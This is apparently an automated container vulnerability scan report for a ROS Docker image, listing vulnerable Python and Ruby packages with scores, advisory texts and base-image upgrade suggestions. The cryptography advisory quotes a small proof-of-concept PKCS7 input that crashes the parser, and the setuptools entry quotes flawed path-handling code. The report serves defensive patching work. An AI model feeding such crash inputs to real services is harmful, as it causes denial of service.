numpy 1.21.5 (pypi) pkg:pypi/[email protected] # Dockerfile (57:59) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y ros-humble-desktop ros-dev-tools Incorrect Comparison Affected range <1.22 Fixed version 1.22 CVSS Score 5.3 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L EPSS Score 0.065% EPSS Percentile 20th percentile Description Incomplete string comparison in the numpy.core component in NumPy1.9.x, which allows attackers to fail the APIs via constructing specific string objects.

net-imap 0.1.1 (gem) pkg:gem/[email protected] # Dockerfile (75:77) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y gz-harmonic Uncontrolled Resource Consumption Affected range <=0.2.4 Fixed version 0.2.5 CVSS Score 6 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N EPSS Score 0.148% EPSS Percentile 36th percentile Description Summary There is a possibility for denial of service by memory exhaustion when net-imap reads server responses. At any time while the client is connected, a malicious server can send can send a "literal" byte count, which is automatically read by the client's receiver thread. The response reader immediately allocates memory for the number of bytes indicated by the server response. This should not be an issue when securely connecting to trusted IMAP servers that are well-behaved. It can affect insecure connections and buggy, untrusted, or compromised servers (for example, connecting to a user supplied hostname). Details The IMAP protocol allows "literal" strings to be sent in responses, prefixed with their size in curly braces (e.g. {1234567890}\r\n). When Net::IMAP receives a response containing a literal string, it calls IO#read with that size. When called with a size, IO#read immediately allocates memory to buffer the entire string before processing continues. The server does not need to send any more data. There is no limit on the size of literals that will be accepted. Fix Upgrade Users should upgrade to net-imap 0.5.7 or later. A configurable max_response_size limit has been added to Net::IMAP's response reader. The max_response_size limit has also been backported to net-imap 0.2.5, 0.3.9, and 0.4.20. To set a global value for max_response_size, users must upgrade to net-imap ~> 0.4.20, or > 0.5.7. Configuration To avoid backward compatibility issues for secure connections to trusted well-behaved servers, the default max_response_size for net-imap 0.5.7 is very high (512MiB), and the default max_response_size for net-imap ~> 0.4.20, ~> 0.3.9, and 0.2.5 is nil (unlimited). When connecting to untrusted servers or using insecure connections, a much lower max_response_size should be used. # Set the global max_response_size (only ~> v0.4.20, > 0.5.7) Net::IMAP.config.max_response_size = 256 << 10 # 256 KiB # Set when creating the connection imap = Net::IMAP.new(hostname, ssl: true, max_response_size: 16 << 10) # 16 KiB # Set after creating the connection imap.max_response_size = 256 << 20 # 256 KiB # flush currently waiting read, to ensure the new setting is loaded imap.noop Please Note: max_response_size only limits the size per response. It does not prevent a flood of individual responses and it does not limit how many unhandled responses may be stored on the responses hash. Users are responsible for adding response handlers to prune excessive unhandled responses. Compatibility with lower max_response_size A lower max_response_size may cause a few commands which legitimately return very large responses to raise an exception and close the connection. The max_response_size could be temporarily set to a higher value, but paginated or limited versions of commands should be used whenever possible. For example, to fetch message bodies: imap.max_response_size = 256 << 20 # 256 KiB imap.noop # flush currently waiting read # fetch a message in 252KiB chunks size = imap.uid_fetch(uid, "RFC822.SIZE").first.rfc822_size limit = 252 << 10 message = ((0..size) % limit).each_with_object("") {|offset, str| str << imap.uid_fetch(uid, "BODY.PEEK[]<#{offset}.#{limit}>").first.message(offset:) } imap.max_response_size = 16 << 20 # 16 KiB imap.noop # flush currently waiting read References PR to introduce max_response_size: ✨ Limit max_response_size ruby/net-imap#444 Specific commit: 0ae8576c1 - lib/net/imap/response_reader.rb Backport to 0.4: ✨ Limit max_response_size (backport 0.4) ruby/net-imap#445 Backport to 0.3: ✨ Limit max_response_size (backport 0.3) ruby/net-imap#446 Backport to 0.2: ✨ Limit max_response_size (backport 0.2) ruby/net-imap#447

lxml 4.8.0 (pypi) pkg:pypi/[email protected] # Dockerfile (57:59) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y ros-humble-desktop ros-dev-tools NULL Pointer Dereference Affected range <4.9.1 Fixed version 4.9.1 CVSS Score 6.9 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N EPSS Score 0.659% EPSS Percentile 70th percentile Description NULL Pointer Dereference allows attackers to cause a denial of service (or application crash). This only applies when lxml is used together with libxml2 2.9.10 through 2.9.14. libxml2 2.9.9 and earlier are not affected. It allows triggering crashes through forged input data, given a vulnerable code sequence in the application. The vulnerability is caused by the iterwalk function (also used by the canonicalize function). Such code shouldn't be in wide-spread use, given that parsing + iterwalk would usually be replaced with the more efficient iterparse function. However, an XML converter that serialises to C14N would also be vulnerable, for example, and there are legitimate use cases for this code sequence. If untrusted input is received (also remotely) and processed via iterwalk function, a crash can be triggered.

scipy 1.8.0 (pypi) pkg:pypi/[email protected] # Dockerfile (57:59) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y ros-humble-desktop ros-dev-tools Affected range <1.10.0 Fixed version 1.10.0 EPSS Score 0.160% EPSS Percentile 38th percentile Description A refcounting issue which leads to potential memory leak was discovered in scipy commit 8627df31ab in Py_FindObjects() function.

[github-actions]

Recommended fixes for image (linux/amd64) ghcr.io/cuautodrone/cuad-ros:test

Base image is ubuntu:22.04

Name	jammy-20251001
Digest	sha256:4cb780d50443fc4463f1f9360c03ca46512e4fdd8fd97c5ce7e69c8758924575
Vulnerabilities
Pushed	1 week ago
Size	30 MB
Packages	143
Flavor	ubuntu
OS	22.04

The base image is also available under the supported tag(s): jammy, jammy-20251001

Refresh base image

Rebuild the image using a newer base image version. Updating this may result in breaking changes.

✅ This image version is up to date.

Change base image

Tag	Details	Pushed	Vulnerabilities
25.10 Major OS version update Also known as: devel questing questing-20250830	Benefits: Image contains 20 fewer packages Image has similar size Image introduces no new vulnerability but removes 14 Major OS version update Image details: Size: 30 MB OS: 25.10	1 month ago
24.04 Tag is latest Also known as: noble latest noble-20250925	Benefits: Image contains 12 fewer packages Image has similar size Tag is latest Major OS version update Image details: Size: 30 MB OS: 24.04	1 week ago
25.04 Major OS version update Also known as: plucky rolling plucky-20250925.1	Benefits: Image contains 21 fewer packages Image has similar size Major OS version update Image details: Size: 30 MB OS: 25.04	2 weeks ago

[github-actions]

Overview

Image reference	ghcr.io/cuautodrone/cuad-ros:latest	ghcr.io/cuautodrone/cuad-ros:test
- digest	4262062f5403	75e630860820
- tag	latest	test
- provenance	https://github.com/CUAutoDrone/cuad-docker-ros.git#refs/pull/13/merge/commit/a72a52788a9817f8187b252b3421a9b960d61cb6	https://github.com/CUAutoDrone/cuad-docker-ros.git#2a198a35d0bfa9f68c35eda8a4262b119c74e7e0/commit/2a198a35d0bfa9f68c35eda8a4262b119c74e7e0
- vulnerabilities
- platform	linux/amd64	linux/amd64
- size	2.7 GB	2.7 GB (+31 kB)
- packages	2268	2268
Base Image	ubuntu:22.04 also known as: • jammy • jammy-20251001	ubuntu:22.04 also known as: • jammy • jammy-20251001
- vulnerabilities

[github-actions]

Your image	ghcr.io/cuautodrone/cuad-ros:test
Current base image	ubuntu:22.04
Updated base image	ubuntu:25.10

[github-actions]

🔍 Vulnerabilities of ghcr.io/cuautodrone/cuad-ros:test

📦 Image Reference ghcr.io/cuautodrone/cuad-ros:test

digest	sha256:81c5b5f4c7c6929b63692d736328b3bd7beb712f28f101b99c3131acebec2aac
vulnerabilities
platform	linux/arm64
size	2.7 GB
packages	2266

📦 Base Image ubuntu:22.04

also known as	jammy jammy-20251001
digest	sha256:40c5d6cde65809ff9d47ce06d1dd01d428a9af388a8918fc7a3310a55a4c39cb
vulnerabilities

pillow 9.0.1 (pypi) pkg:pypi/[email protected] # Dockerfile (57:59) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y ros-humble-desktop ros-dev-tools Improper Control of Generation of Code ('Code Injection') Affected range <10.2.0 Fixed version 10.2.0 CVSS Score 9.3 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N EPSS Score 0.557% EPSS Percentile 67th percentile Description Pillow through 10.1.0 allows PIL.ImageMath.eval Arbitrary Code Execution via the environment parameter, a different vulnerability than CVE-2022-22817 (which was about the expression parameter). Out-of-bounds Write Affected range <10.0.1 Fixed version 10.0.1 CVSS Score 8.8 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H EPSS Score 93.949% EPSS Percentile 100th percentile Description Heap buffer overflow in libwebp allow a remote attacker to perform an out of bounds memory write via a crafted HTML page. Uncontrolled Resource Consumption Affected range <10.0.0 Fixed version 10.0.0 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N EPSS Score 0.137% EPSS Percentile 34th percentile Description An issue was discovered in Pillow before 10.0.0. It is a Denial of Service that uncontrollably allocates memory to process a given task, potentially causing a service to crash by having it run out of memory. This occurs for truetype in ImageFont when textlength in an ImageDraw instance operates on a long text argument. Improper Handling of Highly Compressed Data (Data Amplification) Affected range <9.2.0 Fixed version 9.2.0 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N EPSS Score 0.191% EPSS Percentile 41st percentile Description Pillow before 9.2.0 performs Improper Handling of Highly Compressed GIF Data (Data Amplification). Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') Affected range <10.3.0 Fixed version 10.3.0 CVSS Score 7.3 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N EPSS Score 0.170% EPSS Percentile 39th percentile Description In _imagingcms.c in Pillow before 10.3.0, a buffer overflow exists because strcpy is used instead of strncpy. OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities Affected range <10.0.1 Fixed version 10.0.1 Description Pillow versions before v10.0.1 bundled libwebp binaries in wheels that is vulnerable to CVE-2023-5129 (previously CVE-2023-4863). Pillow v10.0.1 upgrades the bundled libwebp binary to v1.3.2. Affected range <10.0.1 Fixed version 10.0.1 EPSS Score 0.043% EPSS Percentile 12th percentile Description Pillow versions before v10.0.1 bundled libwebp binaries in wheels that are vulnerable to CVE-2023-5129 (previously CVE-2023-4863). Pillow v10.0.1 upgrades the bundled libwebp binary to v1.3.2.

cgi 0.2.0 (gem) pkg:gem/[email protected] # Dockerfile (75:77) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y gz-harmonic Integer Overflow or Wraparound Affected range >=0.2.0 <0.2.1 Fixed version 0.2.1 CVSS Score 9.8 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H EPSS Score 0.905% EPSS Percentile 75th percentile Description A buffer overrun vulnerability was discovered in CGI.escape_html. This can lead to a buffer overflow when a user passes a very large string (> 700 MB) to CGI.escape_html on a platform where long type takes 4 bytes, typically, Windows. Interpretation Conflict Affected range >=0.2.0 <0.2.2 Fixed version 0.2.2 CVSS Score 8.8 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H EPSS Score 2.492% EPSS Percentile 85th percentile Description Ruby gem cgi.rb prior to versions 0.3.5, 0.2.2 and 0.1.0.2 allow HTTP header injection. If a CGI application using the CGI library inserts untrusted input into the HTTP response header, an attacker can exploit it to insert a newline character to split a header, and inject malicious content to deceive clients. This issue has been patched in versions 0.3.5, 0.2.2 and 0.1.0.2. Reliance on Cookies without Validation and Integrity Checking Affected range =0.2.0 Fixed version 0.2.1 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N EPSS Score 0.881% EPSS Percentile 75th percentile Description CGI::Cookie.parse in Ruby through 2.6.8 mishandles security prefixes in cookie names. This also affects the CGI gem prior to versions 0.3.1, 0.2.1, 0.1.1, and 0.1.0.1 for Ruby. Inefficient Regular Expression Complexity Affected range <0.3.5.1 Fixed version 0.3.5.1 CVSS Score 6.3 CVSS Vector CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N EPSS Score 0.343% EPSS Percentile 56th percentile Description There is a possibility for Regular expression Denial of Service (ReDoS) by in the cgi gem. This vulnerability has been assigned the CVE identifier CVE-2025-27220. We recommend upgrading the cgi gem. Details The regular expression used in CGI::Util#escapeElement is vulnerable to ReDoS. The crafted input could lead to a high CPU consumption. This vulnerability only affects Ruby 3.1 and 3.2. If you are using these versions, please update CGI gem to version 0.3.5.1, 0.3.7, 0.4.2 or later. Affected versions cgi gem versions <= 0.3.5, 0.3.6, 0.4.0 and 0.4.1. Credits Thanks to svalkanov for discovering this issue. Also thanks to nobu for fixing this vulnerability. Uncontrolled Resource Consumption Affected range <0.3.5.1 Fixed version 0.3.5.1 CVSS Score 6.3 CVSS Vector CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N EPSS Score 0.473% EPSS Percentile 64th percentile Description There is a possibility for DoS by in the cgi gem. This vulnerability has been assigned the CVE identifier CVE-2025-27219. We recommend upgrading the cgi gem. Details CGI::Cookie.parse took super-linear time to parse a cookie string in some cases. Feeding a maliciously crafted cookie string into the method could lead to a Denial of Service. Please update CGI gem to version 0.3.5.1, 0.3.7, 0.4.2 or later. Affected versions cgi gem versions <= 0.3.5, 0.3.6, 0.4.0 and 0.4.1. Credits Thanks to lio346 for discovering this issue. Also thanks to mame for fixing this vulnerability.

stringio 3.0.0 (gem) pkg:gem/[email protected] # Dockerfile (75:77) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y gz-harmonic Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') Affected range <3.0.1.1 Fixed version 3.0.1.1 CVSS Score 9.3 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N EPSS Score 2.044% EPSS Percentile 83rd percentile Description An issue was discovered in StringIO 3.0.1, as distributed in Ruby 3.0.x through 3.0.6 and 3.1.x through 3.1.4. The ungetbyte and ungetc methods on a StringIO can read past the end of a string, and a subsequent call to StringIO.gets may return the memory value. This vulnerability is not affected StringIO 3.0.3 and later, and Ruby 3.2.x and later. We recommend to update the StringIO gem to version 3.0.3 or later. In order to ensure compatibility with bundled version in older Ruby series, you may update as follows instead: For Ruby 3.0 users: Update to stringio 3.0.1.1 For Ruby 3.1 users: Update to stringio 3.1.0.2 You can use gem update stringio to update it. If you are using bundler, please add gem "stringio", ">= 3.0.1.2" to your Gemfile.

setuptools 59.6.0 (pypi) pkg:pypi/[email protected] # Dockerfile (57:59) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y ros-humble-desktop ros-dev-tools Inefficient Regular Expression Complexity Affected range <65.5.1 Fixed version 65.5.1 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:L/SI:L/SA:N EPSS Score 0.318% EPSS Percentile 54th percentile Description Python Packaging Authority (PyPA)'s setuptools is a library designed to facilitate packaging Python projects. Setuptools version 65.5.0 and earlier could allow remote attackers to cause a denial of service by fetching malicious HTML from a PyPI package or custom PackageIndex page due to a vulnerable Regular Expression in package_index. This has been patched in version 65.5.1. Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') Affected range <78.1.1 Fixed version 78.1.1 CVSS Score 7.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P EPSS Score 0.162% EPSS Percentile 38th percentile Description Summary A path traversal vulnerability in PackageIndex was fixed in setuptools version 78.1.1 Details def _download_url(self, url, tmpdir): # Determine download filename # name, _fragment = egg_info_for_url(url) if name: while '..' in name: name = name.replace('..', '.').replace('\\', '_') else: name = "__downloaded__" # default if URL has no path contents if name.endswith('.[egg.zip](http://egg.zip/)'): name = name[:-4] # strip the extra .zip before download --> filename = os.path.join(tmpdir, name) Here: https://github.com/pypa/setuptools/blob/6ead555c5fb29bc57fe6105b1bffc163f56fd558/setuptools/package_index.py#L810C1-L825C88 os.path.join() discards the first argument tmpdir if the second begins with a slash or drive letter. name is derived from a URL without sufficient sanitization. While there is some attempt to sanitize by replacing instances of '..' with '.', it is insufficient. Risk Assessment As easy_install and package_index are deprecated, the exploitation surface is reduced. However, it seems this could be exploited in a similar fashion like GHSA-r9hx-vwmv-q579, and as described by POC 4 in GHSA-cx63-2mw6-8hw5 report: via malicious URLs present on the pages of a package index. Impact An attacker would be allowed to write files to arbitrary locations on the filesystem with the permissions of the process running the Python code, which could escalate to RCE depending on the context. References https://huntr.com/bounties/d6362117-ad57-4e83-951f-b8141c6e7ca5 pypa/setuptools#4946 Improper Control of Generation of Code ('Code Injection') Affected range <70.0.0 Fixed version 70.0.0 CVSS Score 7.5 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N EPSS Score 4.250% EPSS Percentile 88th percentile Description A vulnerability in the package_index module of pypa/setuptools versions up to 69.1.1 allows for remote code execution via its download functions. These functions, which are used to download packages from URLs provided by users or retrieved from package index servers, are susceptible to code injection. If these functions are exposed to user-controlled inputs, such as package URLs, they can execute arbitrary commands on the system. The issue is fixed in version 70.0.

cryptography 3.4.8 (pypi) pkg:pypi/[email protected] # Dockerfile (41:43) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y curl Observable Discrepancy Affected range <42.0.0 Fixed version 42.0.0 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N EPSS Score 0.707% EPSS Percentile 71st percentile Description A flaw was found in the python-cryptography package. This issue may allow a remote attacker to decrypt captured messages in TLS servers that use RSA key exchanges, which may lead to exposure of confidential or sensitive data. Access of Resource Using Incompatible Type ('Type Confusion') Affected range >=0.8.1 <39.0.1 Fixed version 39.0.1 CVSS Score 7.4 CVSS Vector CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:H EPSS Score 90.049% EPSS Percentile 100th percentile Description pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.8.1-39.0.0 are vulnerable to a security issue. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20221213.txt and https://www.openssl.org/news/secadv/20230207.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions. Improper Check for Unusual or Exceptional Conditions Affected range >=1.8 <39.0.1 Fixed version 39.0.1 CVSS Score 6.9 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N EPSS Score 0.717% EPSS Percentile 72nd percentile Description Previously, Cipher.update_into would accept Python objects which implement the buffer protocol, but provide only immutable buffers: >>> outbuf = b"\x00" * 32 >>> c = ciphers.Cipher(AES(b"\x00" * 32), modes.ECB()).encryptor() >>> c.update_into(b"\x00" * 16, outbuf) 16 >>> outbuf b'\xdc\x95\xc0x\xa2@\x89\x89\xadH\xa2\x14\x92\x84 \x87\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' This would allow immutable objects (such as bytes) to be mutated, thus violating fundamental rules of Python. This is a soundness bug -- it allows programmers to misuse an API, it cannot be exploited by attacker controlled data alone. This now correctly raises an exception. This issue has been present since update_into was originally introduced in cryptography 1.8. NULL Pointer Dereference Affected range >=3.1 <41.0.6 Fixed version 41.0.6 CVSS Score 5.9 CVSS Vector CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.603% EPSS Percentile 69th percentile Description Summary Calling load_pem_pkcs7_certificates or load_der_pkcs7_certificates could lead to a NULL-pointer dereference and segfault. PoC Here is a Python code that triggers the issue: from cryptography.hazmat.primitives.serialization.pkcs7 import load_der_pkcs7_certificates, load_pem_pkcs7_certificates pem_p7 = b""" -----BEGIN PKCS7----- MAsGCSqGSIb3DQEHAg== -----END PKCS7----- """ der_p7 = b"\x30\x0B\x06\x09\x2A\x86\x48\x86\xF7\x0D\x01\x07\x02" load_pem_pkcs7_certificates(pem_p7) load_der_pkcs7_certificates(der_p7) Impact Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability. NULL Pointer Dereference Affected range <42.0.2 Fixed version 42.0.2 CVSS Score 5.5 CVSS Vector CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H EPSS Score 0.224% EPSS Percentile 45th percentile Description Issue summary: Processing a maliciously formatted PKCS12 file may lead OpenSSL to crash leading to a potential Denial of Service attack Impact summary: Applications loading files in the PKCS12 format from untrusted sources might terminate abruptly. A file in PKCS12 format can contain certificates and keys and may come from an untrusted source. The PKCS12 specification allows certain fields to be NULL, but OpenSSL does not correctly check for this case. This can lead to a NULL pointer dereference that results in OpenSSL crashing. If an application processes PKCS12 files from an untrusted source using the OpenSSL APIs then that application will be vulnerable to this issue. OpenSSL APIs that are vulnerable to this are: PKCS12_parse(), PKCS12_unpack_p7data(), PKCS12_unpack_p7encdata(), PKCS12_unpack_authsafes() and PKCS12_newpass(). We have also fixed a similar issue in SMIME_write_PKCS7(). However since this function is related to writing data we do not consider it security significant. The FIPS modules in 3.2, 3.1 and 3.0 are not affected by this issue. Affected range >=2.5 <41.0.4 Fixed version 41.0.4 Description pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 2.5-41.0.3 are vulnerable to several security issues. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20230908.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions. Affected range >=0.8 <41.0.3 Fixed version 41.0.3 Description pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.8-41.0.2 are vulnerable to several security issues. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20230731.txt, https://www.openssl.org/news/secadv/20230719.txt, and https://www.openssl.org/news/secadv/20230714.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions. Affected range >=0.5 <=40.0.2 Fixed version 41.0.0 Description pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.5-40.0.2 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://www.openssl.org/news/secadv/20230530.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.

protobuf 3.12.4 (pypi) pkg:pypi/[email protected] # Dockerfile (75:77) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y gz-harmonic Uncontrolled Recursion Affected range <4.25.8 Fixed version 4.25.8 CVSS Score 8.2 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N EPSS Score 0.025% EPSS Percentile 6th percentile Description Summary Any project that uses Protobuf pure-Python backend to parse untrusted Protocol Buffers data containing an arbitrary number of recursive groups, recursive messages or a series of SGROUP tags can be corrupted by exceeding the Python recursion limit. Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team [email protected] Affected versions: This issue only affects the pure-Python implementation of protobuf-python backend. This is the implementation when PROTOCOL_BUFFERS_PYTHON_IMPLEMENTATION=python environment variable is set or the default when protobuf is used from Bazel or pure-Python PyPi wheels. CPython PyPi wheels do not use pure-Python by default. This is a Python variant of a previous issue affecting protobuf-java. Severity This is a potential Denial of Service. Parsing nested protobuf data creates unbounded recursions that can be abused by an attacker. Proof of Concept For reproduction details, please refer to the unit tests decoder_test.py and message_test Remediation and Mitigation A mitigation is available now. Please update to the latest available versions of the following packages: protobuf-python(4.25.8, 5.29.5, 6.31.1) Improper Restriction of Operations within the Bounds of a Memory Buffer Affected range <3.18.3 Fixed version 3.18.3 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.123% EPSS Percentile 32nd percentile Description Summary A message parsing and memory management vulnerability in ProtocolBuffer’s C++ and Python implementations can trigger an out of memory (OOM) failure when processing a specially crafted message, which could lead to a denial of service (DoS) on services using the libraries. Reporter: ClusterFuzz Affected versions: All versions of C++ Protobufs (including Python) prior to the versions listed below. Severity & Impact As scored by google Medium 5.7 - CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H Asscored byt NIST High 7.5 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H A small (~500 KB) malicious payload can be constructed which causes the running service to allocate more than 3GB of RAM. Proof of Concept For reproduction details, please refer to the unit test that identifies the specific inputs that exercise this parsing weakness. Mitigation / Patching Please update to the latest available versions of the following packages: protobuf-cpp (3.18.3, 3.19.5, 3.20.2, 3.21.6) protobuf-python (3.18.3, 3.19.5, 3.20.2, 4.21.6) Affected range <3.15.0 Fixed version 3.15.0 EPSS Score 0.150% EPSS Percentile 36th percentile Description Nullptr dereference when a null char is present in a proto symbol. The symbol is parsed incorrectly, leading to an unchecked call into the proto file's name during generation of the resulting error message. Since the symbol is incorrectly parsed, the file is nullptr. We recommend upgrading to version 3.15.0 or greater.

rexml 3.2.5 (gem) pkg:gem/[email protected] # Dockerfile (75:77) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y gz-harmonic Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion') Affected range <3.3.6 Fixed version 3.3.6 CVSS Score 8.2 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N EPSS Score 2.882% EPSS Percentile 86th percentile Description Impact The REXML gem before 3.3.6 has a DoS vulnerability when it parses an XML that has many deep elements that have same local name attributes. If you need to parse untrusted XMLs with tree parser API like REXML::Document.new, you may be impacted to this vulnerability. If you use other parser APIs such as stream parser API and SAX2 parser API, this vulnerability is not affected. Patches The REXML gem 3.3.6 or later include the patch to fix the vulnerability. Workarounds Don't parse untrusted XMLs with tree parser API. References https://www.ruby-lang.org/en/news/2024/08/22/dos-rexml-cve-2024-43398/ : An announce on www.ruby-lang.org Uncontrolled Resource Consumption Affected range <3.3.3 Fixed version 3.3.3 CVSS Score 6.9 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N EPSS Score 0.752% EPSS Percentile 72nd percentile Description Impact The REXML gem before 3.3.2 has a DoS vulnerability when it parses an XML that has many entity expansions with SAX2 or pull parser API. If you need to parse untrusted XMLs with SAX2 or pull parser API, you may be impacted to this vulnerability. Patches The REXML gem 3.3.3 or later include the patch to fix the vulnerability. Workarounds Don't parse untrusted XMLs with SAX2 or pull parser API. References https://www.ruby-lang.org/en/news/2008/08/23/dos-vulnerability-in-rexml/ : This is a similar vulnerability 